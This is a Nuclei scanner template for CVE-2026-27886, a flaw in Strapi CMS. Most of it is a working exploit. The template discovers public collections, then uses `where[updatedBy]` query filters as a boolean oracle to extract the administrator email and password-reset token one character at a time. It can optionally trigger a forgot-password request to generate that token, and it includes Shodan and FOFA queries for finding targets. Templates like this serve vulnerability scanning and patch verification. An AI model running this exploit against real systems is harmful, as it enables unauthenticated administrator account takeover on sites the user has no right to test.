id: CVE-2026-27886

info:
  name: Strapi <=5.36.x - Admin Credential Enumeration
  author: zeroc00I
  severity: critical
  description: |
    Strapi versions starting in 4.0.0 and prior to 5.37.0 did not sufficiently sanitize query parameters when filtering content via relational fields. An attacker could use the `where` query parameter on any publicly-accessible content-type with an `updatedBy` field to perform a boolean-oracle attack against private fields on the joined admin_users table, including the resetPasswordToken field, enabling full administrative account takeover without authentication.
  impact: |
    An unauthenticated attacker can recover the full admin email address and password-reset token, enabling direct account takeover without any existing credentials.
  remediation: |
    Upgrade Strapi to version 5.37.0 or later. The patch introduces explicit query-parameter sanitization via strictParam, addQueryParams, and addBodyParams primitives that reject operator chains traversing into restricted relational targets before reaching the database.
  reference:
    - https://github.com/strapi/strapi/security/advisories
    - https://bishopfox.com/blog/cve-2026-27886-unauthenticated-boolean-oracle-exfiltration-of-administrator-secrets-in-strapi
    - https://github.com/BishopFox/CVE-2026-27886-check
    - https://nvd.nist.gov/vuln/detail/CVE-2026-27886
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
    cvss-score: 9.2
    cve-id: CVE-2026-27886
    epss-score: 0.02519
    epss-percentile: 0.84714
    cwe-id: CWE-200
    cpe: cpe:2.3:a:strapi:strapi:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 800
    vendor: strapi
    product: strapi
    shodan-query: 'http.title:"Strapi"'
    fofa-query: 'app="strapi-Headless-CMS"'
  tags: cve,cve2026,strapi,idor,unauth,intrusive

variables:
  collection: ""
  kind: "collection"
  probe_col: ""
  public_role_id: "2"
  enum_query: ""
  allow_trigger: "false"
  trigger_email: ""
  collection_wordlist: ""
  discovery_method: "auto"

flow: |
  function detectKind() {
    try {
      let d = JSON.parse(template["probe_body"] || "{}");
      if (Array.isArray(d.data) || (d.meta && d.meta.pagination)) return "collection";
      if (d.data && typeof d.data === "object") return "single";
    } catch(e) {}
    return "collection";
  }

  let collection = template["collection"] || "";
  let kind = template["kind"] || "collection";

  if (!collection) {
    http(1);
    let idsToTry = [2, 1];
    try {
      let d = JSON.parse(template["roles_list_body"] || "{}");
      let roles = d.roles || [];
      for (let i = 0; i < roles.length; i++) {
        if (roles[i].type === "public" && roles[i].id) {
          idsToTry = [roles[i].id];
          break;
        }
      }
    } catch(e) {}

    for (let ri = 0; ri < idsToTry.length && !collection; ri++) {
      set("public_role_id", String(idsToTry[ri]));
      http(2);
      try {
        let d = JSON.parse(template["roles_body"] || "{}");
        if (!d.role || d.role.type !== "public") continue;
        let perms = d.role.permissions || {};
        outer: for (let ns of Object.keys(perms)) {
          if (!ns.startsWith("api::")) continue;
          let ctrls = perms[ns].controllers || {};
          for (let ctrl of Object.keys(ctrls)) {
            if (ctrls[ctrl].find && ctrls[ctrl].find.enabled) {
              set("probe_col", ctrl + "s");
              http(5);
              if (template["probe_status"] === "200") {
                collection = ctrl + "s";
                kind = detectKind();
                break outer;
              }
              set("probe_col", ctrl);
              http(5);
              if (template["probe_status"] === "200") {
                collection = ctrl;
                kind = detectKind();
                break outer;
              }
            }
          }
        }
      } catch(e) {}
    }
  }

  if (!collection) {
    http(3);
    try {
      let d = JSON.parse(template["ctb_body"] || "{}");
      let items = d.data || [];
      for (let i = 0; i < items.length; i++) {
        let ct = items[i];
        if (!ct.uid || !ct.uid.startsWith("api::")) continue;
        let schema = ct.schema || {};
        let name = (schema.kind === "singleType") ? schema.singularName : schema.pluralName;
        if (!name) continue;
        set("probe_col", name);
        http(5);
        if (template["probe_status"] === "200") {
          collection = name;
          kind = detectKind();
          break;
        }
      }
    } catch(e) {}
  }

  if (!collection) {
    http(4);
    try {
      let d = JSON.parse(template["openapi_body"] || "{}");
      let paths = Object.keys(d.paths || {});
      for (let i = 0; i < paths.length; i++) {
        let m = paths[i].match(/^\/api\/([a-z][a-z0-9-]+)$/);
        if (m) {
          set("probe_col", m[1]);
          http(5);
          if (template["probe_status"] === "200") {
            collection = m[1];
            kind = detectKind();
            break;
          }
        }
      }
    } catch(e) {}
  }

  if (!collection) {
    let words;
    if ((template["collection_wordlist"] || "").length > 0) {
      javascript(1);
      let raw = (template["wl_loaded"] || "").replace(/^\s*\[|\]\s*$/g, "");
      words = raw.split(/[\s,]+/).map(w => w.trim()).filter(w => w.length > 0);
    } else {
      words = ["articles","posts","products","pages","news","blogs","categories","entries","events","comments","users","tags","uploads","global","homepage","home","about","contact","navigation","footer","header","setting","general","seo","social","config"];
    }

    for (let i = 0; i < words.length; i++) {
      let w = words[i];
      if (!w) continue;
      set("probe_col", w);
      http(5);
      if (template["probe_status"] === "200") {
        collection = w;
        kind = detectKind();
        set("discovery_method", "wordlist");
        break;
      }
    }
  }

  let proceed = collection !== "";

  if (proceed) {
    set("collection", collection);
    set("kind", kind);

    http(6);
    http(7);

    if (kind === "single") {
      if (template["baseline_status"] !== "200" || template["probediff_status"] !== "404") {
        proceed = false;
      }
    } else {
      let base = parseInt(template["total_baseline"] || "0");
      let probe = parseInt(template["total_probe"] || "0");
      if (base === 0 || probe !== 0) proceed = false;
    }
  }

  function oracleHit() {
    if (kind === "single") return template["enum_status"] === "200";
    return parseInt(template["total_enum"] || "0") > 0;
  }

  function hit(q) {
    set("enum_query", q);
    http(8);
    return oracleHit();
  }

  if (proceed) {
    let hexAlpha = "0123456789abcdef";
    let emailAlpha = "+-.0123456789@_abcdefghijklmnopqrstuvwxyz";
    let tokenLen = 40;
    let emailMax = 48;

    let canary = "qzx" + Math.random().toString(36).slice(2,12) + Math.random().toString(36).slice(2,8);
    if (hit("where[updatedBy][email][$startsWith]=" + encodeURIComponent(canary))) {
      proceed = false;
    }

    let isoPrefix = "where[updatedBy][resetPasswordToken][$notNull]=true";
    let hasToken = proceed && hit(isoPrefix);
    let iso = hasToken ? (isoPrefix + "&") : "";

    function extract(field, alpha, maxLen) {
      let val = "";
      for (let pos = 0; pos < maxLen; pos++) {
        let lock = iso;
        if (val.length > 0) {
          lock += "where[updatedBy][" + field + "][$startsWith]=" + encodeURIComponent(val) + "&";
        }
        let lo = 0, hi = alpha.length - 1, ans = -1;
        while (lo <= hi) {
          let mid = Math.floor((lo + hi) / 2);
          let q = lock + "where[updatedBy][" + field + "][$gte]=" + encodeURIComponent(val + alpha[mid]);
          if (hit(q)) { ans = mid; lo = mid + 1; } else { hi = mid - 1; }
        }
        if (ans < 0) break;
        val += alpha[ans];
      }
      return val;
    }

    if (proceed) {
      let email = extract("email", emailAlpha, emailMax);
      set("admin_email", email);

      let triggered = false;
      if (!hasToken && template["allow_trigger"] === "true" && email.length > 0) {
        set("trigger_email", email);
        http(10);
        let pin = "where[updatedBy][resetPasswordToken][$notNull]=true&where[updatedBy][email][$startsWith]=" + encodeURIComponent(email);
        if (hit(pin)) {
          hasToken = true;
          triggered = true;
          iso = pin + "&";
        }
      }
      set("trigger_used", triggered ? "true" : "false");

      if (hasToken) {
        let token = extract("resetPasswordToken", hexAlpha, tokenLen);
        set("admin_token", token);
      }

      if (email.length > 0) http(9);
    }
  }

javascript:
  - code: |
      wl;
    args:
      wl: "{{collection_wordlist}}"
    extractors:
      - type: dsl
        name: wl_loaded
        internal: true
        dsl:
          - 'response'

http:
  - raw:
      - |
        GET /api/users-permissions/roles HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    extractors:
      - type: dsl
        name: roles_list_body
        internal: true
        dsl:
          - 'body'

  - raw:
      - |
        GET /api/users-permissions/roles/{{public_role_id}} HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    extractors:
      - type: dsl
        name: roles_body
        internal: true
        dsl:
          - 'body'

  - raw:
      - |
        GET /api/content-type-builder/content-types HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    extractors:
      - type: dsl
        name: ctb_body
        internal: true
        dsl:
          - 'body'

  - raw:
      - |
        GET /documentation/v1.0.0/api.json HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    extractors:
      - type: dsl
        name: openapi_body
        internal: true
        dsl:
          - 'body'

  - raw:
      - |
        GET /api/{{probe_col}} HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    extractors:
      - type: dsl
        name: probe_status
        internal: true
        dsl:
          - 'status_code'
      - type: dsl
        name: probe_body
        internal: true
        dsl:
          - 'body'

  - raw:
      - |
        GET /api/{{collection}} HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    extractors:
      - type: json
        name: total_baseline
        internal: true
        json:
          - ".meta.pagination.total"
      - type: dsl
        name: baseline_status
        internal: true
        dsl:
          - 'status_code'

  - raw:
      - |
        GET /api/{{collection}}?where[id][$lt]=-1 HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    extractors:
      - type: json
        name: total_probe
        internal: true
        json:
          - ".meta.pagination.total"
      - type: dsl
        name: probediff_status
        internal: true
        dsl:
          - 'status_code'

  - raw:
      - |
        GET /api/{{collection}}?{{enum_query}} HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    extractors:
      - type: json
        name: total_enum
        internal: true
        json:
          - ".meta.pagination.total"
      - type: dsl
        name: enum_status
        internal: true
        dsl:
          - 'status_code'

  - raw:
      - |
        GET /api/{{collection}} HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'len(admin_email) > 0 || len(admin_token) > 0'

    extractors:
      - type: dsl
        name: credentials
        dsl:
          - 'admin_email + " | " + admin_token'

      - type: dsl
        name: via_fuzzing
        dsl:
          - 'discovery_method == "wordlist" ? "FUZZED-collection=" + collection : ""'

  - raw:
      - |
        POST /admin/forgot-password HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"email":"{{trigger_email}}"}
# digest: 490a0046304402206732024372ee0bca0334b0ad3f811cd24025b4d4a444ab384b0d6c1b23160c96022039edc5f2fe708b95c0612cb24ec6edaf59dc069c745d1d47e816189a834e755b:922c64590222798bb761d5b6d8e72950